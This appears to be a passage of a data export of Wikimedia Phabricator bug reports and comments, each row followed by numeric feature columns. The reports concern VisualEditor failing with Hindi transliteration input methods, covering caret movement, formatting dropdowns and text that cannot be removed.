this is running off of test2",,,1378241594,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.2142857142857144,0.7857142857142857,"**rachelqa99** wrote:

this is running off of test2"
235508,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:

feature script

**Attached**: {F11192}",,,1378241543,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.55,"**rachelqa99** wrote:

feature script

**Attached**: {F11192}"
55717,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)","The ULS input methods (jquery.ime) currently do not work with the popup windows of VE. These include the template, reference, reflist, image, link and page settings popups.

The problem has been tested by me on Win7 X64 with Google Chrome 29.0.1547.62 m and possibly by others on other browsers. The problem was originally reported on [1] by mr-wp users.

[1]: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_.2B_ULS_unicode_Devnagari_Script_input_issues

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1378231800,1427915110.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-nj4fiiksolcbit4ngngp,task_description,declined,True,c1,3,False,False,False,9,,0.0,0.0,0.0,2.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,13.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,9.0,7.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,3.857142857142857,0.6836734693877551,"The ULS input methods (jquery.ime) currently do not work with the popup windows of VE. These include the template, reference, reflist, image, link and page settings popups.

The problem has been tested by me on Win7 X64 with Google Chrome 29.0.1547.62 m and possibly by others on other browsers. The problem was originally reported on [1] by mr-wp users.

[1]: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
436759,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)",Don't need to make this work as we don't use `iframe`s any more.,,,1427915125,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-nj4fiiksolcbit4ngngp,task_subcomment,,True,c1,3,True,,,91,,6.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,19.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.9375,Don't need to make this work as we don't use CODEs any more.
235217,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)",*** Bug 55969 has been marked as a duplicate of this bug. ***,,,1382983618,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-nj4fiiksolcbit4ngngp,task_subcomment,,True,c1,3,False,,,17,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 55969 has been marked as a duplicate of this bug. ***
55711,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Either use google input tools for hindi or enable ULS hindi transliteration

Input:
Select bullet formatting from the VE toolbar
agar[SPACE]main[SPACE]

Expected output:
with ULS: अगर[SPACE]मैन[SPACE]
with Google input tools (depends on translation history, macros etc and may differ user-to-user): अगर[SPACE]मैं[SPACE]

Actual output:
Text output is same as expected. However, the text is partially non-navigable, ie pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. Simultaneously, if the text is navigated by specifically placing the caret at a particular point using the mouse, the value shown for the formatting dropdown in the toolbar may go blank at one point in the text and become paragraph at the next.

The text is also irremovable ie bug 53708

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53708",Medium,50.0,1378217520,1453749286.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-bqgfek7rspw6d5gukppc,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,0.3333333333333333,0.0,6.0,1.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,3.0,7.666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.6666666666666666,2.3333333333333335,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,17.333333333333332,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.333333333333333,1.3333333333333333,9.666666666666666,0.3333333333333333,1.6666666666666667,7.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,1.6666666666666667,0.0,0.3333333333333333,7.666666666666667,4.666666666666667,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,2.0,0.0,0.0,1.3333333333333333,4.052046783625731,0.6694152046783626,"System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Either use google input tools for hindi or enable ULS hindi transliteration

Input:
Select bullet formatting from the VE toolbar
agar[SPACE]main[SPACE]

Expected output:
with ULS: अगर[SPACE]मैन[SPACE]
with Google input tools (depends on translation history, macros etc and may differ user-to-user): अगर[SPACE]मैं[SPACE]

Actual output:
Text output is same as expected. However, the text is partially non-navigable, ie pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. Simultaneously, if the text is navigated by specifically placing the caret at a particular point using the mouse, the value shown for the formatting dropdown in the toolbar may go blank at one point in the text and become paragraph at the next.

The text is also irremovable ie bug 53708

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
234917,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"(In reply to comment #1)
> There's code to address this bug in the following patch, which is due to go
> live by mediawiki.org on 13 September 2013:
> 
> https://gerrit.wikimedia.org/r/#/c/82858/
> 
> Please let us know whether it fixes the bug!

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai?veaction=edit

The patch seems to have partially fixed the bug.

Text input using google input tools is now navigable.

But text input using ULS IME hindi transliteration is still non-navigable. Pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. (Same behaviour as before)

The text formatting at all points in the bullet text remains as paragraph though (no blanking of the formatting drop-down).

Text input with ULS is still irremovable ( bug 53708 )",,,1379516449,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-bqgfek7rspw6d5gukppc,task_subcomment,,True,c1,3,False,,,11,,0.5,0.0,0.0,0.0,0.0,6.0,1.5,0.0,0.5,0.0,2.5,0.0,0.0,0.5,0.0,0.0,1.5,4.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,21.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,7.0,1.5,13.5,0.0,1.0,9.0,0.0,0.0,0.0,0.5,1.5,0.0,2.0,0.0,0.0,8.0,7.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.779220779220779,0.6818181818181819,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

System environment:
Win 7 X64 SP1
Google Chrome 29.0.1547.66 m

Test Url:
URL

The patch seems to have partially fixed the bug.

Text input using google input tools is now navigable.

But text input using ULS IME hindi transliteration is still non-navigable. Pressing the left arrow key from the end of the text takes the caret to the beginning, and then left/right arrow key presses have no effect on the caret. (Same behaviour as before)

The text formatting at all points in the bullet text remains as paragraph though (no blanking of the formatting drop-down).

Text input with ULS is still irremovable ( bug 53708 )"
234910,VisualEditor: Cursor cannot move through text created with jquery.IME when editing bulleted text,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

https://gerrit.wikimedia.org/r/#/c/82858/

Please let us know whether it fixes the bug!",,,1378943051,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-bqgfek7rspw6d5gukppc,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,13.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,11.0,3.0,0.0,11.0,0.0,0.0,3.0,0.0,11.0,3.0,5.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.710526315789474,0.8947368421052632,"There's code to address this bug in the following patch, which is due to go live by mediawiki.org on 13 September 2013:

URL

Please let us know whether it fixes the bug!"
55708,VisualEditor: Incorrect and irremovable text placement with IMEs,"Screenshot of incorrect text placement

System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input:
[ENTER/RETURN KEY]x2 (two newlines)
agar[SPACE]ma

Expected output:
[NEWLINE]x2 (two newlines)
अगर[SPACE]म

Actual output:
[NEWLINE]x2 (two newlines)
अग[NEWLINE]र[SPACE]म

Once [ENTER/RETURN KEY]x2 followed by agar[SPACE] has been pressed, Bug 53706 shows up. If one continues the input, this bug is what happens. The incorrect placement is accompanied by the following incorrect bahaviours:

The VE toolbar shows no format (while the editing had been begun with paragraph)

Cursor movement is incorrect. When the cursor is at the end, pressing up key takes it to the end of the first line, then pressing the down key takes it in the second line after the [SPACE] and before म It is here that the incorrect behaviour occurs. Pressing either the left or the right arrow keys takes it to the end of the line (ie after म) While this should happen on right arrow key press, the left arrow key press should take the cursor(caret) to before the space.

Also, when at the end of the second line, pressing backspace does nothing. Similarly pressing delete anywhere in the second line does nothing. The second line effectively becomes irremovable, while the first line can be removed.

Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=53711

**Attached**: {F11165}",Medium,50.0,1378212900,1453749321.0,PHID-USER-4bjsher5mqcoikeqnnec,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_description,resolved,True,c1,3,False,False,False,9,,0.0,0.0,0.0,1.0,0.0,5.75,0.75,0.0,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,7.25,0.5,0.25,0.5,0.75,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,4.75,1.25,1.25,0.0,0.0,0.0,0.0,0.25,0.0,0.25,0.0,0.25,1.75,0.25,0.25,0.0,0.0,0.0,14.0,0.25,0.75,0.0,0.0,0.0,0.25,0.0,0.5,0.25,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,6.5,2.25,13.0,1.75,0.75,7.75,0.0,0.0,0.0,0.0,2.25,0.0,2.25,0.0,1.5,7.25,5.75,0.0,0.0,0.0,1.5,0.0,0.75,0.25,0.0,1.5,0.0,0.0,3.0,3.9004276931301787,0.6271384656508955,"Screenshot of incorrect text placement

System environment:
Win 7 X64
Google Chrome 29.0.1547.62 m

Steps to reproduce:
Open a blank page
Edit it in VE
Enable ULS IME hindi transliteration

Input:
[ENTER/RETURN KEY]x2 (two newlines)
agar[SPACE]ma

Expected output:
[NEWLINE]x2 (two newlines)
अगर[SPACE]म

Actual output:
[NEWLINE]x2 (two newlines)
अग[NEWLINE]र[SPACE]म

Once [ENTER/RETURN KEY]x2 followed by agar[SPACE] has been pressed, Bug 53706 shows up. If one continues the input, this bug is what happens. The incorrect placement is accompanied by the following incorrect bahaviours:

The VE toolbar shows no format (while the editing had been begun with paragraph)

Cursor movement is incorrect. When the cursor is at the end, pressing up key takes it to the end of the first line, then pressing the down key takes it in the second line after the [SPACE] and before म It is here that the incorrect behaviour occurs. Pressing either the left or the right arrow keys takes it to the end of the line (ie after म) While this should happen on right arrow key press, the left arrow key press should take the cursor(caret) to before the space.

Also, when at the end of the second line, pressing backspace does nothing. Similarly pressing delete anywhere in the second line does nothing. The second line effectively becomes irremovable, while the first line can be removed.

Note: Page used for this test is [[:w:hi:सदस्य:Siddhartha Ghai/sandbox]]

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL

**Attached**: {F11165}"
234766,VisualEditor: Incorrect and irremovable text placement with IMEs,Automatic Incorrect caret movement has been reported separately as Bug 54424,,,1379768773,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,Automatic Incorrect caret movement has been reported separately as Bug 54424
234761,VisualEditor: Incorrect and irremovable text placement with IMEs,"Tested out this bug for page with pre-existing devanagari text.

System Environment: Same as Comment 4

Test Url:
https://www.mediawiki.org/wiki/User:Siddhartha_Ghai/sandbox?veaction=edit

Steps:
1 Enable ULS IME hindi transliteration
2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
3Input k
3.1 This will give the output of क् with the newline selected ( Bug 53706 )
4 Now input g
4.1 This will give an output of ग् but this output will show up in the next line
4.1.1 This output cannot be copy-pasted into an external text editor though it can be selected in VE
4.1.2 This output is ignored in caret movement when using the arrow keys, so the caret goes straight from the beginning of the second paragraph to the end of the first paragraph just after क् jumping past ग् in between. When right arrow key is pressed the caret goes from here to the beginning of the second paragraph इस jumping past ग्
4.1.3 Pressing backspace from the beginning of the second paragraph joins the second paragraph with the first paragraph jumping past the ग् making it the last text in the page
4.1.4 Taking the caret to the end of text i.e after ग् makes the formatting dropdown go blank
4.1.5 Using the VE toolbar Undo button moves the second paragraph back to a new line but it still stays above the ग् which is still the last text on the page.
4.1.6 Undoing everything and adding a space to the end of the second paragraph and then submitting and reviewing the changes diff shows that the ग् at the end of the page is not being added
4.1.7 Typing something after the ग् shows the text added after both ग् and the second paragraph.

So effectively the bug is present even while editing existing pages with devanagari text using VE+ULS.",,,1379767940,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.5,0.0,1.0,0.5,6.75,0.5,0.0,0.25,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,4.25,13.25,0.5,0.25,0.0,0.25,0.25,0.0,0.25,0.0,0.25,0.5,0.75,1.75,3.75,0.75,0.75,1.25,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.25,0.5,0.0,0.25,0.0,0.0,0.25,19.25,0.5,1.0,0.0,0.25,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,12.5,2.0,7.5,1.5,2.0,14.25,0.0,0.0,0.0,0.0,2.5,0.25,3.0,0.0,0.75,13.25,4.5,0.0,0.0,0.0,0.75,0.0,0.75,1.0,0.0,4.5,0.0,0.0,0.25,4.020755305867666,0.6553682896379526,"Tested out this bug for page with pre-existing devanagari text.

System Environment: Same as Comment 4

Test Url:
URL

Steps:
1 Enable ULS IME hindi transliteration
2 Take the caret to the end of the first paragraph using the mouse (i.e click at the end of the first paragraph to take the caret there)
3Input k
3.1 This will give the output of क् with the newline selected ( Bug 53706 )
4 Now input g
4.1 This will give an output of ग् but this output will show up in the next line
4.1.1 This output cannot be copy-pasted into an external text editor though it can be selected in VE
4.1.2 This output is ignored in caret movement when using the arrow keys, so the caret goes straight from the beginning of the second paragraph to the end of the first paragraph just after क् jumping past ग् in between. When right arrow key is pressed the caret goes from here to the beginning of the second paragraph इस jumping past ग्
4.1.3 Pressing backspace from the beginning of the second paragraph joins the second paragraph with the first paragraph jumping past the ग् making it the last text in the page
4.1.4 Taking the caret to the end of text i.e after ग् makes the formatting dropdown go blank
4.1.5 Using the VE toolbar Undo button moves the second paragraph back to a new line but it still stays above the ग् which is still the last text on the page.
4.1.6 Undoing everything and adding a space to the end of the second paragraph and then submitting and reviewing the changes diff shows that the ग् at the end of the page is not being added
4.1.7 Typing something after the ग् shows the text added after both ग् and the second paragraph.

So effectively the bug is present even while editing existing pages with devanagari text using VE+ULS."
234756,VisualEditor: Incorrect and irremovable text placement with IMEs,"Reported console errors in Bug 54331 and Bug 54334 per Comment 7

There's possibly other console error instances which need to be reported.

(In reply to comment #8)
> If you were able to test the issues for non-blank pages that would be a great
> help too, because it looks like the problems happen in different ways in
> those
> two cases.

Will do.",,,1379608845,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,24.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,9.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.760869565217391,0.7391304347826086,"Reported console errors in Bug 54331 and Bug 54334 per Comment 7

There's possibly other console error instances which need to be reported.

(In reply to comment #8)
QUOTE
QUOTE
QUOTE
QUOTE

Will do."
234750,VisualEditor: Incorrect and irremovable text placement with IMEs,"Thank you very much for providing this level of detail; I can't emphasise enough how helpful it is!

If you were able to test the issues for non-blank pages that would be a great help too, because it looks like the problems happen in different ways in those two cases.",,,1379605340,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,2.0,0.0,2.0,0.0,2.0,14.0,3.0,2.0,0.0,2.0,3.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,16.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,5.0,5.0,0.0,9.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,3.793103448275862,0.9137931034482759,"Thank you very much for providing this level of detail; I can't emphasise enough how helpful it is!

If you were able to test the issues for non-blank pages that would be a great help too, because it looks like the problems happen in different ways in those two cases."
234744,VisualEditor: Incorrect and irremovable text placement with IMEs,"(In reply to comment #6)
> Could you please try typing some text on the following page, under the words
> ""Testing Area"":
> 
>   https://www.mediawiki.org/w/index.php?title=Project:Sandbox&veaction=edit
> 

System environment: same as Comment 4

Here's my primary analysis of editing on that page (without ULS).

1. In the beginning the formatting dropdown is blank.
1.1 Pressing [RETURN KEY] does not have any effect no matter how many times it is pressed.
1.2 Pressing the [TAB KEY] takes the caret to the top of the page (above the ""edit this page"" template)
1.3 Typing an ASCII character (or an international digit) changes the value in the formatting dropdown to paragraph.
1.3.1 If a backspace is now pressed, the formatting remains the same.
1.3.2 Pressing the [RETURN KEY] also works once an ASCII character has been input.
1.3.3 Undoing all actions takes one back to the original position and [RETURN KEY] doesn't work again.

Here's what happens with ULS hi transliteration (labelled लिप्यंतरण) enabled:

1 Enabling ULS moves the caret to the top of the page (above the ""edit this page"" template) and the IME name लिप्यंतरण appears beside the ULS icon.
1.1 Manually taking the caret to the original location below the ""Testing Area"" can be done
1.1.1 If the caret is taken to the original location after the api call for the transliteration rules has completed, ULS icon shows that the transliteration method is not active (i.e no IME name visible beside the icon). This is incorrect as the dropdown for the menu shows the method selected and typing with the method works. Moving the caret manually back to the top still shows no change in the icon.
1.1.2 If the caret is taken to the original position before the api call for the transliteration rules has completed, ULS icon shows the name of the IME correctly.
1.1.3 Points 1.1.1 and 1.1.2 seem heisenbuggy and need to be confirmed.
2 In the beginning (i.e nothing typed before), typing with ULS works, but the formatting dropdown remains blank.
3 Input: agar[SPACE] Expected output: अगर[SPACE]
3.1 The output अगर appears, but the space doesn't.
3.1.1 Point to note: Per the hi transliteration rules in ULS agar itself gives अगर् i.e there is a viram ् (U+094D) at the end. ULS removes this when a space is input, i.e pressing space causes the removal of viram as well as the addition of space (this behaviour is the fix for bug 35990 ). So ULS is recognizing the space and removing the viram, but the space itself is getting lost somwehere between ULS and VE.
3.1.2 Copying the text node text from within the chrome console and pasting in an external text editor showed the text to be prefixed by U+FEFF (ZERO WIDTH NO-BREAK SPACE)
3.1.2 This text is not navigable using the left or right arrow keys.
3.1.3 The text also cannot be copied. It can be selected manually with the mouse, but copying it is not possible. Pasting the selected text in an external editor showed nothing, as if no text had been selected. Tried copying using both the Ctrl+C keyboard shortcut and the right-click menu.
3.4 Another space press is recognized. However, VE seems to treat this as the first input character.
3.4.1 The original text disappears, replaced by the space. ( bug 53705 )
3.4.2 The formatting dropdown shows the formatting to be paragraph.

To my noobish eye, it appears that if VE was told to consider the default formatting to be paragraph (i.e no blank formatting dropdown in the beginning) OR VE considered any text input without a formatting dropdown value to be paragraph, ULS input disappearing would stop (I'm guessing this since once the formatting is set to paragraph, the text doesn't seem to disappear.)

NOTE 1: This bug is starting to look a lot like a catchall to me, with automatic caret movement, incorrect formatting in the dropdown, non-detection of ULS input by VE, and what not. Feel free to file separate bugs where you find them necessary (or tell me which ones need to be filed separately, I'll be glad to help).

NOTE 2: I reported this bug (along with a bunch of other related bugs) editing on a blank page so as to minimize bugs interfering with each-other and to have the simplest possible steps to reproduce the problem. However, I think that some of these may be applicable even on non-blank pages. Do I need to separately test the issues for non-blank pages and report the behaviour in these bugs (or are the current reports sufficient)?

NOTE 3: I'm also ending up with a bunch of js console errors from VE, but I haven't checked exactly which step causes them. I'' try to reproduce them and let you know.",,,1379601354,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-ibmxa5xzrcmu5u7fcttq,task_subcomment,,True,c1,3,False,,,11,,0.6,0.0,0.0,1.5,1.0,5.8,1.1,0.0,0.0,0.5,2.0,0.8,0.0,0.0,0.1,1.2,1.4,4.0,10.5,0.2,2.0,0.0,0.1,0.1,0.8,0.3,0.0,0.5,0.4,0.2,0.5,6.2,2.2,0.6,0.7,0.2,0.6,0.0,0.0,0.5,0.4,0.3,0.4,1.4,0.1,0.6,0.0,0.0,0.3,14.7,0.3,1.0,0.0,0.1,0.0,0.0,0.0,0.5,0.2,0.2,0.2,0.7,0.1,0.0,0.1,0.0,0.0,9.1,3.2,10.1,1.3,2.4,11.7,0.0,0.0,0.0,0.1,3.6,0.0,2.5,0.0,2.4,10.5,5.5,0.1,0.6,0.0,2.4,0.0,0.7,1.4,0.7,3.0,0.0,0.1,1.0,3.9047256438969766,0.7005599104143336,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

System environment: same as Comment 4

Here's my primary analysis of editing on that page (without ULS).

1. In the beginning the formatting dropdown is blank.
1.1 Pressing [RETURN KEY] does not have any effect no matter how many times it is pressed.
1.2 Pressing the [TAB KEY] takes the caret to the top of the page (above the ""edit this page"" template)
1.3 Typing an ASCII character (or an international digit) changes the value in the formatting dropdown to paragraph.
1.3.1 If a backspace is now pressed, the formatting remains the same.
1.3.2 Pressing the [RETURN KEY] also works once an ASCII character has been input.
1.3.3 Undoing all actions takes one back to the original position and [RETURN KEY] doesn't work again.

Here's what happens with ULS hi transliteration (labelled लिप्यंतरण) enabled:

1 Enabling ULS moves the caret to the top of the page (above the ""edit this page"" template) and the IME name लिप्यंतरण appears beside the ULS icon.
1.1 Manually taking the caret to the original location below the ""Testing Area"" can be done
1.1.1 If the caret is taken to the original location after the api call for the transliteration rules has completed, ULS icon shows that the transliteration method is not active (i.e no IME name visible beside the icon). This is incorrect as the dropdown for the menu shows the method selected and typing with the method works. Moving the caret manually back to the top still shows no change in the icon.
1.1.2 If the caret is taken to the original position before the api call for the transliteration rules has completed, ULS icon shows the name of the IME correctly.
1.1.3 Points 1.1.1 and 1.1.2 seem heisenbuggy and need to be confirmed.
2 In the beginning (i.e nothing typed before), typing with ULS works, but the formatting dropdown remains blank.
